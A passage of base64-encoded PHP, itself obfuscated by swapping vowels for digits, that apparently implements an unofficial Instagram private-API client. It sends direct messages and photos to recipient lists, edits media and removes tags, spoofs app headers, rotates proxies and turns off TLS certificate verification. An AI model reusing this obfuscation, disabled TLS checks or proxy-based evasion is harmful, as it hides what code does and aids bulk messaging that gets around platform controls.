DYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1TcDU1ZC1LQlBTOiAtNi4wMDAnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbEJ5dDVzLUI6IDAnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICdYLUZCLUhUVFAtRW5nNG41OiAnIC4gQzJuc3QxbnRzOjpYX0ZCX0hUVFBfRW5nNG41LA0KICAgICAgICAgICAgICAgICdBY2M1cHQtTDFuZzMxZzU6ICcgLiBDMm5zdDFudHM6OkFDQ0VQVF9MQU5HVUFHRQ0KICAgICAgICAgICAgXTsNCg0KDQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICQ1bmRwMjRudCk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdGg0cy0+ZDV2NGM1LT5nNXRVczVyQWc1bnQoKSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1ZFUkJPU0UsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICcnKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaDUxZDVycyk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfQ09PS0lFLCAkdGg0cy0+czV0dDRuZ3MtPmc1dCgiYzIyazQ1IikpOw0KICAgICAgICAgICAgNGYoVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA+PSBhKSB7DQogICAgICAgICAgICAgICAgJDNzNXJBc25zID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkpOw0KICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsICQycHQ0Mm5LNXksICQzczVyQXNuc1swXSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsICQycHQ0Mm5LNXksICQzczVyQXNuc1s2XSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9QT1NULCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcDJzdEQxdDEpOw0KDQogICAgICAgICAgICAkcjVzcCAgICAgICA9IGMzcmxfNXg1YygkY2gpOw0KICAgICAgICAgICAgJGg1MWQ1cl9sNW4gPSBjM3JsX2c1dDRuZjIoJGNoLCBDVVJMSU5GT19IRUFERVJfU0laRSk7DQogICAgICAgICAgICAkaDUxZDVyICAgICA9IHMzYnN0cigkcjVzcCwgMCwgJGg1MWQ1cl9sNW4pOw0KICAgICAgICAgICAgJDNwbDIxZCAgICAgPSBqczJuX2Q1YzJkNShzM2JzdHIoJHI1c3AsICRoNTFkNXJfbDVuKSwgVFJVRSk7DQogICAgICAgICAgICAkdGg0cy0+MnJnMW40ejVDMjJrNDVzKCRoNTFkNXIpOw0KDQogICAgICAgICAgICBjM3JsX2NsMnM1KCRjaCk7DQoNCiAgICAgICAgICAgIDRmKCQzcGwyMWRbJ3N0MXQzcyddID09ICdmMTRsJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJDNwbDIxZFsnbTVzczFnNSddKTsNCiAgICAgICAgICAgIH0NCg0KDQogICAgICAgICAgICAkYzJuZjRnM3I1ID0gJHRoNHMtPmMybmY0ZzNyNSgkM3BsMjFkWyczcGwyMWRfNGQnXSwgJHBoMnQyLCAkYzFwdDQybik7DQogICAgICAgICAgICAkdGg0cy0+NXhwMnM1KCk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkYzJuZjRnM3I1Ow0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZDRyNWN0X201c3MxZzUoJHI1YzRwNDVudHMsICR0NXh0KSB7DQogICAgICAgICAgICA0Zig1bXB0eSgkcjVjNHA0NW50cykgfHwgNW1wdHkoJHQ1eHQpKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybignUjVjNHA0NW50cyAyciB0NXh0IGMxbiBuMnQgYjUgNW1wdHkhJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZighNHNfMXJyMXkoJHI1YzRwNDVudHMpKSB7DQogICAgICAgICAgICAgICAgJHI1YzRwNDVudHMgPSBbJHI1YzRwNDVudHNdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHN0cjRuZyA9IFtdOw0KICAgICAgICAgICAgZjJyNTFjaCgkcjVjNHA0NW50cyAxcyAkcjVjNHA0NW50KSB7DQogICAgICAgICAgICAgICAgJHN0cjRuZ1tdID0gIlwiJHI1YzRwNDVudFwiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyNWM0cDQ1bnRfM3M1cnMgPSA0bXBsMmQ1KCcsJywgJHN0cjRuZyk7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgInQ1eHQiICAgICAgICAgICAgPT4gJHQ1eHQsDQogICAgICAgICAgICAgICAgInI1YzRwNDVudF8zczVycyIgPT4gIltbIiAuICRyNWM0cDQ1bnRfM3M1cnMgLiAiXV0iLA0KICAgICAgICAgICAgICAgICIxY3Q0Mm4iICAgICAgICAgID0+ICJzNW5kXzR0NW0iLA0KICAgICAgICAgICAgICAgICJjbDQ1bnRfYzJudDV4dCIgID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgICAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgIl8zNGQiICAgICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF92YS90aHI1MWRzL2JyMjFkYzFzdC90NXh0LycsICRwMnN0RDF0MSlbNl07DQoNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGQ0cjVjdF9waDJ0MigkcjVjNHA0NW50cywgJGY0bDVwMXRoLCAkdDV4dCkgew0KICAgICAgICAgICAgNGYoNW1wdHkoJHI1YzRwNDVudHMpIHx8IDVtcHR5KCRmNGw1cDF0aCkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCdSNWM0cDQ1bnRzIDJyIGY0bDUgYzFuIG4ydCBiNSA1bXB0eSEnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCE0c18xcnIxeSgkcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAkcjVjNHA0NW50cyA9IFskcjVjNHA0NW50c107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3RyNG5nID0gW107DQogICAgICAgICAgICBmMnI1MWNoKCRyNWM0cDQ1bnRzIDFzICRyNWM0cDQ1bnQpIHsNCiAgICAgICAgICAgICAgICAkc3RyNG5nW10gPSAiXCIkcjVjNHA0NW50XCIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHI1YzRwNDVudF8zczVycyA9IDRtcGwyZDUoJywnLCAkc3RyNG5nKTsNCg0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICJyNWM0cDQ1bnRfM3M1cnMiID0+ICJbWyIgLiAkcjVjNHA0NW50XzNzNXJzIC4gIl1dIiwNCiAgICAgICAgICAgICAgICAidDV4dCIgICAgICAgICAgICA9PiA1bXB0eSgkdDV4dCkgPyAnJyA6ICR0NXh0LA0KICAgICAgICAgICAgICAgICIxY3Q0Mm4iICAgICAgICAgID0+ICJzNW5kXzR0NW0iLA0KICAgICAgICAgICAgICAgICJjbDQ1bnRfYzJudDV4dCIgID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgICAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgIl8zNGQiICAgICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRmNGw1VDJVcGwyMWQgPSBmNGw1X2c1dF9jMm50NW50cygkZjRsNXAxdGgpOw0KDQogICAgICAgICAgICAkcjVxMzVzdEY0bDVzID0gWw0KICAgICAgICAgICAgICAgICJwaDJ0MiIgPT4gWw0KICAgICAgICAgICAgICAgICAgICAiYzJudDVudHMiID0+ICRmNGw1VDJVcGwyMWQsDQogICAgICAgICAgICAgICAgICAgICJmNGw1bjFtNSIgPT4gJ3A1bmQ0bmdfbTVkNDFfJyAuIFV0NGxzOjpnNW41cjF0NVVwbDIxZElkKCkgLiAnLmpwZycsDQogICAgICAgICAgICAgICAgICAgICJoNTFkNXJzIiAgPT4gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiBiNG4xcnknDQogICAgICAgICAgICAgICAgICAgIF0NCiAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkYjIzbmQxcnkgPSBVdDRsczo6ZzVuNXIxdDVNM2x0NHAxcnRCMjNuZDFyeSgpOw0KICAgICAgICAgICAgJDRuZDV4ICAgID0gVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KDFycjF5X201cmc1KCRyNXEzNXN0UDJzdHMsICRyNXEzNXN0RjRsNXMpKTsNCiAgICAgICAgICAgICRyNXMzbHQgICA9ICcnOw0KICAgICAgICAgICAgZjJyNTFjaCgkNG5kNXggMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICctLScgLiAkYjIzbmQxcnkgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgNGYoITRzczV0KCRyNXEzNXN0RjRsNXNbJGs1eV0pKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IGYycm0tZDF0MTsgbjFtNT0iJyAuICRrNXkgLiAnIic7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gIlxyXG5cclxuIiAuICR2MWwzNSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkZjRsNSA9ICRyNXEzNXN0RjRsNXNbJGs1eV07DQogICAgICAgICAgICAgICAgICAgIDRmKDRzczV0KCRmNGw1WydjMm50NW50cyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybnQ1bnRzID0gJGY0bDVbJ2MybnQ1bnRzJ107DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkYzJudDVudHMgPSBmNGw1X2c1dF9jMm50NW50cygkZjRsNVsnZjRsNXAxdGgnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAnQzJudDVudC1ENHNwMnM0dDQybjogZjJybS1kMXQxOyBuMW01PSInIC4gJGs1eSAuICciOyBmNGw1bjFtNT0iJyAuICRmNGw1WydmNGw1bjFtNSddIC4gIlwiXHJcbiI7DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJGY0bDVbJ2g1MWQ1cnMnXSAxcyAkaDUxZDVyTjFtNSA9PiAkaDUxZDVyVjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJGg1MWQ1ck4xbTUgLiAnOiAnIC4gJGg1MWQ1clYxbDM1IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gIlxyXG4iIC4gJGMybnQ1bnRzIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICAzbnM1dCgkYzJudDVudHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KDQogICAgICAgICAgICAkcDJzdEQxdDEgPSAkcjVzM2x0Ow0KICAgICAgICAgICAgJDVuZHAyNG50ID0gQzJuc3QxbnRzOjpBUElfVVJMIC4gJ2Q0cjVjdF92YS90aHI1MWRzL2JyMjFkYzFzdC8zcGwyMWRfcGgydDIvJzsNCg0KICAgICAgICAgICAgJGg1MWQ1cnMgPSBbDQogICAgICAgICAgICAgICAgJ0Mybm41Y3Q0Mm46IGNsMnM1JywNCiAgICAgICAgICAgICAgICAnQWNjNXB0OiAqLyonLA0KICAgICAgICAgICAgICAgICdYLUlHLUMxcDFiNGw0dDQ1czogJyAuIEMybnN0MW50czo6WF9JR19DMXAxYjRsNHQ0NXMsDQogICAgICAgICAgICAgICAgJ1gtSUctQXBwLUlEOiAnIC4gQzJuc3QxbnRzOjpGQUNFQk9PS19BTkFMWVRJQ1NfQVBQTElDQVRJT05fSUQsDQogICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1UeXA1OiAnIC4gQzJuc3QxbnRzOjpYX0lHX0Mybm41Y3Q0Mm5fVHlwNSwNCiAgICAgICAgICAgICAgICAnWC1JRy1DMm5uNWN0NDJuLVNwNTVkOiAnIC4gbXRfcjFuZCg2MDAwLCBvNzAwKSAuICdrYnBzJywNCiAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtU3A1NWQtS0JQUzogLTYuMDAwJywNCiAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxCeXQ1cy1COiAwJywNCiAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxUNG01LU1TOiAwJywNCiAgICAgICAgICAgICAgICAnWC1GQi1IVFRQLUVuZzRuNTogJyAuIEMybnN0MW50czo6WF9GQl9IVFRQX0VuZzRuNSwNCiAgICAgICAgICAgICAgICAnQWNjNXB0LUwxbmczMWc1OiAnIC4gQzJuc3QxbnRzOjpBQ0NFUFRfTEFOR1VBR0UNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRjaCA9IGMzcmxfNG40dCgpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgJDVuZHAyNG50KTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR0aDRzLT5kNXY0YzUtPmc1dFVzNXJBZzVudCgpKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVkVSQk9TRSwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgJycpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoNTFkNXJzKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9DT09LSUUsICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCJjMjJrNDUiKSk7DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID49IGEpIHsNCiAgICAgICAgICAgICAgICAkM3M1ckFzbnMgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KElOU1RBV0VCX0FTTlNfS0VZKSk7DQogICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzBdKSB7DQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lOVEVSRkFDRSA6IENVUkxPUFRfUFJPWFk7DQogICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgJDJwdDQybks1eSwgJDNzNXJBc25zWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzZdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRDsNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgJDJwdDQybks1eSwgJDNzNXJBc25zWzZdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1QsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwMnN0RDF0MSk7DQoNCiAgICAgICAgICAgICRyNXNwICAgICAgID0gYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICAkaDUxZDVyX2w1biA9IGMzcmxfZzV0NG5mMigkY2gsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsNCiAgICAgICAgICAgICRoNTFkNXIgICAgID0gczNic3RyKCRyNXNwLCAwLCAkaDUxZDVyX2w1bik7DQogICAgICAgICAgICAkM3BsMjFkICAgICA9IGpzMm5fZDVjMmQ1KHMzYnN0cigkcjVzcCwgJGg1MWQ1cl9sNW4pLCBUUlVFKTsNCiAgICAgICAgICAgICR0aDRzLT4ycmcxbjR6NUMyMms0NXMoJGg1MWQ1cik7DQoNCiAgICAgICAgICAgIGMzcmxfY2wyczUoJGNoKTsNCg0KICAgICAgICAgICAgcjV0M3JuICQzcGwyMWQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBkNHI1Y3Rfc2gxcjUoJG01ZDQxXzRkLCAkcjVjNHA0NW50cywgJHQ1eHQgPSBOVUxMKSB7DQogICAgICAgICAgICA0ZighNHNfMXJyMXkoJHI1YzRwNDVudHMpKSB7DQogICAgICAgICAgICAgICAgJHI1YzRwNDVudHMgPSBbJHI1YzRwNDVudHNdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHN0cjRuZyA9IFtdOw0KICAgICAgICAgICAgZjJyNTFjaCgkcjVjNHA0NW50cyAxcyAkcjVjNHA0NW50KSB7DQogICAgICAgICAgICAgICAgJHN0cjRuZ1tdID0gIlwiJHI1YzRwNDVudFwiIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHI1YzRwNDVudF8zczVycyA9IDRtcGwyZDUoJywnLCAkc3RyNG5nKTsNCg0KDQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsibTVkNDFfdHlwNSIgPT4gInBoMnQyIl07DQogICAgICAgICAgICAkcDFyMW1EMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAicjVjNHA0NW50XzNzNXJzIiA9PiAiW1siIC4gJHI1YzRwNDVudF8zczVycyAuICJdXSIsDQogICAgICAgICAgICAgICAgIm01ZDQxXzRkIiAgICAgICAgPT4gJG01ZDQxXzRkLA0KICAgICAgICAgICAgICAgICJ0NXh0IiAgICAgICAgICAgID0+IDVtcHR5KCR0NXh0KSA/ICcnIDogJHQ1eHQsDQogICAgICAgICAgICAgICAgIjFjdDQybiIgICAgICAgICAgPT4gInM1bmRfNHQ1bSIsDQogICAgICAgICAgICAgICAgImNsNDVudF9jMm50NXh0IiAgPT4gUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpLA0KICAgICAgICAgICAgICAgICJfY3NyZnQyazVuIiAgICAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAiXzM0ZCIgICAgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZDRyNWN0X3ZhL3RocjUxZHMvYnIyMWRjMXN0L201ZDQxX3NoMXI1Lz8nIC4gJHAxcjFtRDF0MSwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcHIydDVjdDVkIGYzbmN0NDJuIGMybmY0ZzNyNSgkM3BsMjFkXzRkLCAkcGgydDIsICRjMXB0NDJuID0gJycpIHsNCiAgICAgICAgICAgICRzNHo1ID0gZzV0NG0xZzVzNHo1KCRwaDJ0MilbMF07DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICc1ZDR0cycgICAgICAgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgJ2NyMnBfMnI0ZzRuMWxfczR6NScgPT4gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJHM0ejUsDQogICAgICAgICAgICAgICAgICAgICAgICAkczR6NQ0KICAgICAgICAgICAgICAgICAgICBdLA0KICAgICAgICAgICAgICAgICAgICAnY3IycF96MjJtJyAgICAgICAgICA9PiA2Lm9vb29vb3UsDQogICAgICAgICAgICAgICAgICAgICdjcjJwX2M1bnQ1cicgICAgICAgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgIDAuMCwNCiAgICAgICAgICAgICAgICAgICAgICAgIC0wLjANCiAgICAgICAgICAgICAgICAgICAgXSwNCiAgICAgICAgICAgICAgICBdLA0KICAgICAgICAgICAgICAgICdkNXY0YzUnICAgICAgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgJ20xbjNmMWN0M3I1cicgICAgPT4gJHRoNHMtPmQ1djRjNS0+ZzV0TTFuM2YxY3QzcjVyKCksDQogICAgICAgICAgICAgICAgICAgICdtMmQ1bCcgICAgICAgICAgID0+ICR0aDRzLT5kNXY0YzUtPmc1dE0yZDVsKCksDQogICAgICAgICAgICAgICAgICAgICcxbmRyMjRkX3Y1cnM0Mm4nID0+ICR0aDRzLT5kNXY0YzUtPmc1dEFuZHIyNGRWNXJzNDJuKCksDQogICAgICAgICAgICAgICAgICAgICcxbmRyMjRkX3I1bDUxczUnID0+ICR0aDRzLT5kNXY0YzUtPmc1dEFuZHIyNGRSNWw1MXM1KCksDQogICAgICAgICAgICAgICAgXSwNCiAgICAgICAgICAgICAgICAnNXh0cjEnICAgICAgICA9PiBbDQogICAgICAgICAgICAgICAgICAgICdzMjNyYzVfdzRkdGgnICA9PiAkczR6NSwNCiAgICAgICAgICAgICAgICAgICAgJ3MyM3JjNV9oNTRnaHQnID0+ICRzNHo1LA0KICAgICAgICAgICAgICAgIF0sDQogICAgICAgICAgICAgICAgJ2MxcHQ0Mm4nICAgICAgPT4gJGMxcHQ0Mm4sDQogICAgICAgICAgICAgICAgJ3MyM3JjNV90eXA1JyAgPT4gInUiLA0KICAgICAgICAgICAgICAgICdtNWQ0MV9mMmxkNXInID0+ICdDMW01cjEnLA0KICAgICAgICAgICAgICAgICczcGwyMWRfNGQnICAgID0+ICQzcGwyMWRfNGQsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ201ZDQxL2MybmY0ZzNyNS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIDVkNHRNNWQ0MSgkbTVkNDFJZCwgJGMxcHQ0Mm5UNXh0ID0gJycpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdjMXB0NDJuX3Q1eHQnID0+ICRjMXB0NDJuVDV4dCwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRtNWQ0MUlkLzVkNHRfbTVkNDEvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHI1bTJ2NVM1bGZ0MWcoJG01ZDQxSWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICA